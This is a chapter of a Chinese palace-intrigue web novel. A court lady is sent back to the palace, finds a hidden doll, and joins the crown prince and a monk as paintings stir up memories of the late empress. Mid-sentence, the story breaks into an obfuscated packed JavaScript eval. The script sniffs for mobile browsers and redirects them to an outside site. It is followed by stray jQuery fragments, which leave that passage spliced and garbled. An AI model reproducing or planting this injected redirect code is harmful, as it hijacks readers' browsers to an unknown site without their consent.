50. 第 50 章

作品:《最难救赎是温柔

    郑惊鹤闻言,看了一旁身边的人。周怀钰朝她点了点头,温声道:“不着急,你先去吧。若今日不行,待明日再去赴约也不迟。”


    目送少女离开直到完全失去了踪影,周怀钰才缓缓收回了视线。


    想到了方才在暗室听到的对话,他眼眸微冷,似乎想到了何人,随即转身离开。


    在去找寂方之前,他还有个更重要的人要见。


    郑惊鹤跟在贤妃宫女身旁,原本想要询问贤妃找她何事。


    但见对方似乎并没有同她说话的打算,便歇了心思,直到两人来到贤妃住处。


    榻上的美人垂眸看向下方人,“看你这模样,可是遇到了什么难题,说与本宫听听,让本宫高兴高兴。”


    郑惊鹤没想到贤妃唤她前来,竟是为了此事,一时间被那不知是否玩笑话给噎住。


    她顿了顿,开口道:“真真假假,假假真真,许多东西似乎有了点眉头,却如何也进展不下去,不知娘娘可有什么线索透露?”


    贺新知换了个姿势,笑道:“本宫能有什么线索?再者,你们年轻人的事,就你们年轻人自己做。这次唤你前来也并不是为了此事,而是本宫即刻就得同陛下回宫,你也得随本宫一同回去。”


    郑惊鹤猛然抬头。


    “怎么?不乐意?”贺新知挑眉。


    “不敢,”少女垂眸,看不清神色,“既然是娘娘的吩咐,小人不敢不从。”


    一阵沉默。


    随即便是一声低笑,低笑转为大笑。


    “我看你倒是并不乐意随本宫一同回宫。怎么?这大慈寺有什么东西把你绊住了?莫非是我们亲爱的太子殿下?”


    有人从外面匆匆赶了进来,刚要说话,就见榻上的美妇人抬了抬手。


    贺新知眼眸微转,落在了下面的少女身上,唇角微微掀起,“行了,本宫也无意为难。佛诞日共十日,十日过后,你再回宫。”


    郑惊鹤抬头,毫不迟疑:“多谢娘娘。”


    贺新知哼笑一声,“你应的还真是不客气,罢了。今日过后,九儿和小七会前来大慈寺,为长公主祈福。她们届时会住在此处,你也就在此处好好伺候她们。待佛诞日结束,你再随九儿一同回宫。”


    贺新知离开以后,郑惊鹤在空荡的房间里站了许久,直到她的目光落在方才女人离开前所敲击过的桌面。


    桌面光净整洁,并没有留下任何东西。


    但郑惊鹤还是不死心,她将手探到了桌下。在榻上桌面以及下方中间有一个间隙,她将手指探了进去,便摸到了一个冰凉的物什。


    一个粗糙的人偶便勾在了她的掌心。


    看到这一人偶,让她脑海中似有模糊的画面一闪而过,她似乎在哪里见过此物。


    她仔细思索,好似是在曾经皇后的寝宫?可那日她来不及多看,不知是否是联想过度。


    她打量这诡异的人偶一怔,不明白贤妃为何会留下此物。


    但她知道贤妃既然把此物留下,并且“提醒”了她,那么必定会有用到之处。


    她将东西认真收好,和之前周怀钰又交给她的皇后宣纸一同收在一处。


    便踏出房门,她还没有忘记之前同寂方和尚的约定,不知此时的周怀钰是否离开。


    郑惊鹤方打听到寂方住处,远远便听见愉快的交谈声。


    绕过拱门,视野逐渐开阔,便瞧见亭中二人谈笑风生。


    少年对背对着她,一袭青衫随风而动,而身前却摆放着一处画架,正一边说话一边作画,泼墨的手法行云流水,挥舞笔墨的长袖被左手挽起。


    而正对她的寂方和尚,眉眼同样笑意盈盈,目光灼灼地注视着他自己身前画架。


    两人似乎在对画。


    郑惊鹤刚要靠近,想要去打量少年究竟在画什么,就瞧见正对她的寂方和尚抬上,在对上她的视线之际,先是一怔,随即眼前一亮,缓缓笑开。


    “郑施主来得正好,请快快前来为小僧与太子殿下的作画点评一二,看谁更能和郑施主的眼缘。”


    这句话倒是引起了郑惊鹤的兴趣,她一边抬步靠近,一边笑道:“我对作画可并不精通,让我点评—一”


    话音未落,她便瞧见了少年身前画架上的身影。


    画上的少女柔和温婉,但一双浓墨似的黑眸却璀璨夺目,眉眼带着一缕沉思,却又有难掩的灼灼,犹如绽放的光彩,坚毅而执着。


    这是……


    郑惊鹤惊讶,便瞧见了一双回过头的眼眸,少年神色微扬,唇角的梨涡浮现,在瞧见她的脸时陷得更深,“郑姑娘,你来了。”


    他注意到郑惊鹤看向画上的眼神,莞尔一笑,解释道:“不知道郑姑娘是否还记得,那日你为青鱼治伤,我与刘司闺推门而入时,见到的第一个画面,也是第一次真正见到郑姑娘的真容。因此在寂方大师提出为脑海中想到的第一个画面作画时,便想到了这个场景。”


    寂方闻言匆匆绕了过来,在看见画上之人时,猛地一拍手,惊喜道:“妙哉妙哉!殿下这话好似将郑施主的神韵画活了!”


    郑惊鹤一时竟说不出话来。


    不过少年并未就此再说些什么,而是好奇地看向寂方,“不知大师,作了什么画?”


    寂方闻言,原本欣喜的神情稍有凝滞,随即握住自己的画架转了过来。


    是一张女子见佛图。


    高大威严的佛像占据了大半的纸张,犹如融入天际云端。而佛像之下投射的阴影,则有一笔极为细腻的背影。


    那金衣女子并未跪拜,而是抬头直视那金佛的尊容。


    笔墨有些眼熟。


    郑惊鹤有些好奇,“大师,这是所画何人?”


    “阿弥陀佛,”寂方垂眸,“此乃皇后娘娘。”


    在他身前的两人齐齐看向他。


    “母后?”周怀钰目光微凝。


    “世人皆知我爱作画,却不曾有人知晓。是何人令我执笔至今,”寂方轻叹,“若当初不是娘娘的支持,恐怕如今我连这一点小小的嗜好也会掩埋入尘土。”


    或许是因今日听住持说到的皇后现状,又或许是眼前之人乃是皇后的孩子,寂方难得流露出了一丝柔软和悲伤。


    他将两人带进了自己居住的禅房,随即从榻下缓缓抽出了一个被封存好的大


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17121960|193159||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    木箱。


    在将木箱打开之前,他看了一眼同样跟进来的二人,“小僧并未有亵渎娘娘之意,这箱中所贮画卷,都得过娘娘允许。”


    说罢,他将木箱缓缓打开。


    里面堆叠的画卷争先恐后的好似要喷发出来,满满荡荡,挤得甚至画卷之间毫无空隙。


    郑惊鹤随手拿起了一幅,在得到寂方和尚的允许下,她将画卷缓缓打开。


    是一幅女子骑射图。


    “这画……我似乎在娘娘书房见过?”郑惊鹤喃喃。


    寂方闻言眼前一亮,随即又近乎落泪,“娘娘果真没有哄我,竟真的将我所作之画悬挂在房中。”


    他在对上周怀钰审视的目光下,缓过神来,深吸了一口气,“这两幅画皆是娘娘亲自所求。”


    夜深之际,寂方刚要入睡,便听见一阵急促的叩门声。


    他刚要出声,就听见了熟悉的声音。


    “我从未见过那副模样的娘娘,那晚的她脸色白到骇人,但眼睛却极其有神。她看向我的时候,只让我为她作画,做一幅射箭图。”


    在得到那幅画后,那双灼灼的眼神逐渐柔软下来,骨瘦如柴的手颤抖地抚摸过上面意气风发的女子,喃喃道:“好,真好啊。”


    “她说那是她少时的模样,是还未进宫前的年少轻狂,”寂方垂眸看向那幅画,声音也变得很轻,“本来我只作了一幅,娘娘当时拿到画时,却说我漏了一处细节,让我补上。但当日天色已晚,我便让娘娘先行回去,待我通夜画完后,再献于她。”


    “可没想到——”


    寂方缓缓闭上眼,满是悔恨之色。


    没想到那人竟然没有再多等等他。


    分明,她说她会把那幅画挂在她的房间。可他推开那空荡的房间时,里面却什么也没有。


    直到如今,他听郑惊鹤说在皇后娘娘的宫中书房看到了骑射图,他才知道原来那时候她并未骗他,也是那时候她就已经决定了离开。


    他收拾好情绪,便知道自己说了什么不该说的。可是今日在听见住持提到有关于她的传言后,那种汹涌的情绪却怎么也无法平息。


    “太子殿下,许多东西,恕小僧无法直说。但涉及到皇后娘娘,我也无法坐视不理。若你们想要继续深入探查的话……”


    寂方说到这里不着痕迹一顿,随即又很快接上:“便去东边竹林的竹屋里吧,那里或许会有你们想要的东西。”


    离开之际,三人再也没有提说过作画一事。周怀钰郑重地朝寂方行了个礼,在寂方回礼后便转身离去。


    “天色已晚,郑姑娘先行回去歇息吧。待今夜过去,若得到有用的线索,我再同姑娘细说。”


    她就知道。


    “殿下认为,我此刻还能睡得着吗?”


    两人目光相撞,停顿了许久。


    周怀钰原本想要松口,可在看见少女眼下的阴影,以及那张泛白的脸,他坚决不同意。


    并且在少女的三番五次的坚持和说服下,他直接将人调转了个方向,把人“押送”回屋。


    关门前,他弯了弯眼睛,“好生安歇,郑姑娘。”